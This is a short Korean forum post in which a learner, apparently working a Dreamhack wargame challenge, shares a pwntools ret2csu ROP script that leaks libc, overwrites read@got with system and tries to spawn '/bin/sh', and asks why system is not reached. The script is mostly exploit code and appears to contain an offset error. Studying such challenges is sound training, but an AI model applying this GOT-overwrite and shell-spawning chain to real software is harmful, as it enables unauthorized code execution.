이문제로 많이 해메고 잇어요 거의 다온거같은데 system 함수가 전달 안되는 거같아요 어떤게 문제죠?
ㅜ

작성한 셀코드는 from pwn import*
context.log_level = "debug"
p = process("./basic_rop_x64")
#p =remote("host3.dreamhack.games",20854)
#e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_got = 0x601030
bss = 0x601080
write_got = 0x601020
csu_init1 = 0x40087a
csu_init2 = 0x400860
payload = b"A" * 0x48
#write(1,write,8) leack got
payload +=p64(csu_init1)
payload +=p64(0)
payload +=p64(1)
payload +=p64(write_got)
payload +=p64(8)
payload +=p64(write_got)
payload +=p64(1)
payload +=p64(csu_init2)
#read(0,bss,binsh)
payload +=p64(0)
payload +=p64(1)
payload +=p64(read_got)
payload +=p64(8)
payload +=p64(bss)
payload +=p64(0)
payload +=p64(csu_init2)
#write(1,read_got,sytem)
payload +=p64(0)
payload +=p64(1)
payload +=p64(write_got)
payload +=p64(8)
payload +=p64(read_got)
payload +=p64(1)
payload +=p64(csu_init2)
#system(binsh)
payload +=p64(0)
payload +=p64(1)
payload +=p64(read_got)
payload +=p64(0)
payload +=p64(0)
payload +=p64(bss)
payload +=p64(csu_init2)
p.sendline(payload)
print(p.recvn(0x40))
write_addr = u64(p.recvn(8))
libc_base = write_addr - 0xf72b0
system = libc_base - 0xf72b0 + 0x45390
print('write @ ' + hex(write_addr))
print('system @ ' + hex(system))
p.send('/bin/sh\x00')
p.sendline(p64(system))
gdb.attach(p)
pause()
p.interactive() 이렇캐 됩니당 ㅜㅜ
버전은 20.4